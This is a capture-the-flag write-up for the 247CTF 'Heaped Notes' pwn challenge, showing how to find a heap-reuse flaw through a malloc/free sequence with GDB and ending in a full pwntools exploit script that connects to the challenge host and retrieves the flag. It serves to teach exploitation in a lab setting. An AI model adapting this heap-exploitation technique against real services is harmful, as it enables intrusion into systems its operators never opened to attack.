This is my write-up of a Pwn challenge Heaped Notes on the CTF site 247CTF.com.
Can you abuse our heaped notes service to create 3 identical notes?
Create a new pwntools template:
$ pwn template ./heaped_notes --host 5dca9eabc7b6dbdd.247ctf.com --port 50367
Edit the sha-bang to use python 3:
#!/usr/bin/env python3
Create functions for note creation (this one uses malloc()
) and oversized note creation (if note is too big the program calls free()
).
This will save us time typing in the data while testing.
def create_note(command, size, data ):
io.recvuntil('Enter command:')
io.sendline(command)
io.recvuntil('Enter the size of your') # Enter the size of your small note:
io.sendline(size)
io.recvuntil('Enter ') # Enter small note data:
io.sendline(data)
def create_note_too_large(command, size):
io.recvuntil('Enter command:')
io.sendline(command)
io.recvuntil('Enter the size of your') # Enter the size of your small note:
io.sendline(size)
Super useful stuff right here, run the exploit in tmux, so you can use GDB in parralel split:
context.terminal = ['tmux', 'splitw', '-h']
Running the exploit:
$ ./exploit.py LOCAL GDB
You can break GDB with ^C
.
Switch tmux panes with ^B O
.
Check in gdb where heap is located:
$r10 : 0x00005555557582b0 → 0x0041414141414141 ("AAAAAAA"?)
Lets see how does it work.
Inspect the heap:
gef➤ x/80gx 0x00005555557582b0
Play with the functions.
Try to call varius note creation to see how the program behaves.
# Create largest notes we can, the sizes can be seen via static analysis in Cutter
create_note('small', '32', 'A'*32)
create_note('medium', '64', 'B'*64)
create_note('large', '128', 'C'*16)
# forcing free(), using 129 as size, because even the largest note supports only 128
create_note_too_large('small', '129')
create_note_too_large('medium', '129')
create_note_too_large('large', '129')
Keep checking the heap.
Until we get this :D
0x5555557582b0: 0x0041414141414141 0x0000000000000000
0x5555557582c0: 0x0000000000000000 0x000000000001fd41
Basically we need to create a large note to allocate malloc()
the space on heap.
Create too large large note, to free()
that space on heap.
Do the same thing with medium note.
And lastly create a small note.
Now we are ready to try it out online:
$ ./exploit.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./heaped_notes --host 5dca9eabc7b6dbdd.247ctf.com --port 50367
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./heaped_notes')
context.terminal = ['tmux', 'splitw', '-h']
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '5dca9eabc7b6dbdd.247ctf.com'
port = int(args.PORT or 50367)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
def create_note(command, size, data ):
io.recvuntil('Enter command:')
io.sendline(command)
io.recvuntil('Enter the size of your') # Enter the size of your small note:
io.sendline(size)
io.recvuntil('Enter ') # Enter small note data:
io.sendline(data)
def create_note_too_large(command, size):
io.recvuntil('Enter command:')
io.sendline(command)
io.recvuntil('Enter the size of your') # Enter the size of your small note:
io.sendline(size)
io = start()
create_note('large', '8', 'C'*128)
create_note_too_large('large', '129')
create_note('medium', '8', 'B'*64)
create_note_too_large('medium', '129')
create_note('small', '8', 'A'*32)
io.recvuntil('Enter command:')
io.sendline('print')
io.sendline('flag')
#io.recvuntil('247CTF')
io.interactive()
io.close()